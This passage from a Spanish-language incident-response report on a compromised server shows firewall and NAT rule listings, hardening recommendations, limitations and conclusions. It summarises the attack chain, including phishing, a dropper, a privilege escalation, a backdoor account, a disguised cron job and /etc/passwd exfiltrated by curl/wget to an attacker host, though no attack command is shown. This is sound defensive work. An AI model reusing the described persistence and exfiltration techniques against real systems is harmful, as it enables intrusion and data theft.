num  pkts bytes target    prot opt in     out     source    destination
1   393 75296 DROP    all  --  *      *      0.0.0.0/0  0.0.0.0/0

Chain ufw-skip-to-policy-output (0 references)
num  pkts bytes target    prot opt in     out     source    destination
1     0     0 ACCEPT  all  --  *      *      0.0.0.0/0  0.0.0.0/0

Chain ufw-track-forward (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-track-input (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-track-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1     8    480 ACCEPT  tcp  --  *      *      0.0.0.0/0  0.0.0.0/0      ctstate NEW
2    50   4518 ACCEPT  udp  --  *      *      0.0.0.0/0  0.0.0.0/0      ctstate NEW

Chain ufw-user-forward (1 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-user-input (1 references)
num  pkts bytes target    prot opt in     out     source    destination
1     1     60 ACCEPT  tcp  --  *      *      0.0.0.0/0  0.0.0.0/0      tcp dpt:22
2     0     0 ACCEPT  udp  --  *      *      0.0.0.0/0  0.0.0.0/0      udp dpt:22
3     0     0 ACCEPT  tcp  --  *      *      0.0.0.0/0  0.0.0.0/0      tcp dpt:80
4     0     0 ACCEPT  udp  --  *      *      0.0.0.0/0  0.0.0.0/0      udp dpt:80
5     0     0 ACCEPT  tcp  --  *      *      0.0.0.0/0  0.0.0.0/0      tcp dpt:21
6     0     0 ACCEPT  udp  --  *      *      0.0.0.0/0  0.0.0.0/0      udp dpt:21
```

Figura 61. Cadenas ufw-before-forward/input/output y de logging: únicamente tráfico loopback, RELATED/ESTABLISHED, ICMP estándar (tipos 3, 8, 11, 12), DHCP, mDNS y SSDP — sin reglas adicionales ni puertos inesperados.

```
Chain ufw-user-limit (0 references)
num  pkts bytes target    prot opt in     out     source    destination
1     0     0 REJECT  all  --  *      *      0.0.0.0/0  0.0.0.0/0      limit: avg 2/min burst 5 100 flags: R level: 4 prefix: "[UFW LIMIT BLOCK]"
2     0     0 REJECT  all  --  *      *      0.0.0.0/0  0.0.0.0/0      reject-with: icmp-port-unreachable

Chain ufw-user-limit-accept (0 references)
num  pkts bytes target    prot opt in     out     source    destination
1     0     0 ACCEPT  all  --  *      *      0.0.0.0/0  0.0.0.0/0

Chain ufw-user-logging-forward (0 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-user-logging-input (0 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-user-logging-output (0 references)
num  pkts bytes target    prot opt in     out     source    destination

Chain ufw-user-output (1 references)
num  pkts bytes target    prot opt in     out     source    destination
root@4geeks-server:/home/sysadmin# sudo iptables -t nat -L -n -v
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)
  pkts bytes target    prot opt in     out     source    destination

Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
  pkts bytes target    prot opt in     out     source    destination

Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
  pkts bytes target    prot opt in     out     source    destination

Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)
  pkts bytes target    prot opt in     out     source    destination
root@4geeks-server:/home/sysadmin# nft list ruleset 2>/dev/null
```

Figura 62. Tabla NAT (PREROUTING/INPUT/OUTPUT/POSTROUTING) con política ACCEPT y 0 paquetes/bytes en todas las cadenas — sin reglas de NAT ni redirección de puertos configuradas. nft list ruleset devuelve vacío, confirmando que no existe un ruleset paralelo en nftables.

Conclusión: no se detectaron reglas de firewall modificadas. El único tráfico permitido de entrada corresponde a los tres servicios legítimos expuestos. Esto es consistente con el hecho de que el canal de C2 del atacante fue siempre de salida (curl/wget hacia 192.168.1.100), tráfico que la política OUTPUT ACCEPT por defecto nunca necesitó bloquear ni el atacante necesitó habilitar explícitamente.

Con esta verificación, se considera cerrada la fase de investigación y remediación: el sistema quedó íntegro, sin mecanismos de persistencia residuales, sin reglas de red alteradas, y con las únicas dos debilidades de configuración activa identificadas (credenciales en texto plano y vsftpd sin TLS) ya corregidas.

9. Recomendaciones de Fortalecimiento y Conclusiones

9.1 Recomendaciones de fortalecimiento

Las siguientes medidas se recomiendan para reducir la probabilidad y el impacto de incidentes similares en el futuro. No todas fueron aplicadas durante esta intervención (que se limitó a la erradicación del incidente activo); se documentan como plan de acción posterior.

- Actualizar el kernel a una rama soportada o migrar el sistema operativo fuera de Ubuntu 20.04 (EOL) hacia una versión con soporte estándar activo (22.04/24.04 LTS), o activar Extended Security Maintenance (ESM) si la migración inmediata no es viable.
- Eliminar toda práctica de almacenamiento de credenciales en archivos de texto plano; adoptar un gestor de secretos centralizado (Vault, AWS Secrets Manager, o equivalente) incluso para credenciales "temporales".
- Implementar capacitación periódica de concientización en ingeniería social y phishing para el personal con acceso a la consola o a cuentas con privilegios de ejecución de scripts.
- Restringir y auditar el acceso a la consola local/hipervisor de las máquinas virtuales productivas, dado que fue el vehículo de entrada confirmado en este incidente (Sección 4.13), en lugar de asumir que el acceso de red es el único vector relevante.
- Configurar el agente Wazuh (o la solución EDR/HIDS equivalente) para que el equipo de respuesta a incidentes tenga acceso directo al manager y a las alertas de FIM en tiempo real sobre rutas críticas (/etc/passwd, /etc/shadow, /etc/cron.d/, /etc/sudoers.d/), no solo al agente local.
- Revisar periódicamente la exposición de servicios de red: deshabilitar cualquier servicio sin uso documentado (como se hizo con vsftpd en este caso) en lugar de mantenerlo activo "por si acaso".
- Si en el futuro se requiere transferencia de archivos, sustituir FTP por SFTP/SCP sobre SSH, que ya cifra credenciales y datos en tránsito por diseño.
- Establecer una política de rotación y bloqueo automático de cuentas locales sin uso documentado, y una revisión periódica (mensual o trimestral) del listado completo de /etc/passwd contra un inventario aprobado de cuentas.
- Incrementar la retención de logs críticos (auth.log, kern.log, syslog) más allá de la rotación por defecto, dado que en este incidente la única razón por la que se pudo

reconstruir la cronología completa fue que auth.log.1 aún contenía los eventos de hace un año; con una política de retención más corta, esta evidencia se habría perdido.

- Considerar la implementación de un mecanismo de verificación de integridad de archivos críticos en tiempo casi real (AIDE, Wazuh syscheck con intervalos cortos) en lugar de depender únicamente de escaneos periódicos programados.

9.2 Limitaciones de la investigación

- El binario de segunda etapa ("payload") no estaba disponible en el sistema al momento de la investigación, por lo que el mecanismo exacto de escalada de privilegios (T1068) no pudo confirmarse mediante análisis directo del binario ni identificarse un CVE específico.
- El enfoque Live Incident Response, por diseño, no incluyó una imagen forense bit a bit del disco ni un volcado completo de memoria RAM, lo cual limita la capacidad de reconstrucción post-mortem si surgieran preguntas adicionales tras el cierre de este informe.
- Las alertas históricas del manager Wazuh no pudieron consultarse, al estar fuera del alcance de este servidor (Sección 4.23); si se obtiene acceso a ese manager, se recomienda una revisión complementaria.
- Los logs de Apache y vsftpd no contenían datos históricos suficientes para confirmar o descartar de forma absoluta un vector de entrada web/FTP paralelo (Secciones 4.19.1 y 4.20), aunque ninguna otra evidencia del caso lo sugiere.

9.3 Conclusiones

La investigación permitió reconstruir con alta confianza la cadena de ataque completa que afectó a 4geeks-server: un correo de ingeniería social aprovechó una credencial almacenada en texto plano para inducir a la cuenta "reports" a ejecutar un dropper de dos etapas, que probablemente explotó una vulnerabilidad del kernel EOL para escalar a root y establecer persistencia mediante una cuenta de puerta trasera y una tarea cron enmascarada, exfiltrando /etc/passwd hacia infraestructura del atacante durante aproximadamente un año sin ser detectada.

Todas las acciones de contención, erradicación y recuperación necesarias fueron aplicadas y verificadas: el cron malicioso, su script y el archivo exfiltrado fueron eliminados; la shell de www-data fue corregida; las cuentas comprometidas fueron preservadas como evidencia y eliminadas; el archivo de credenciales en texto plano fue destruido de forma segura; y el servicio FTP innecesario fue deshabilitado. Un barrido exhaustivo posterior —cubriendo rootkits, módulos de kernel, integridad de paquetes, timers, tareas programadas, archivos de inicio de shell y reglas de firewall— no encontró mecanismos de persistencia adicionales. El sistema se considera restaurado a un estado seguro y íntegro al cierre de este informe, quedando pendiente únicamente la implementación de las recomendaciones de fortalecimiento estructural detalladas en la Sección 9.1 para reducir el riesgo de recurrencia.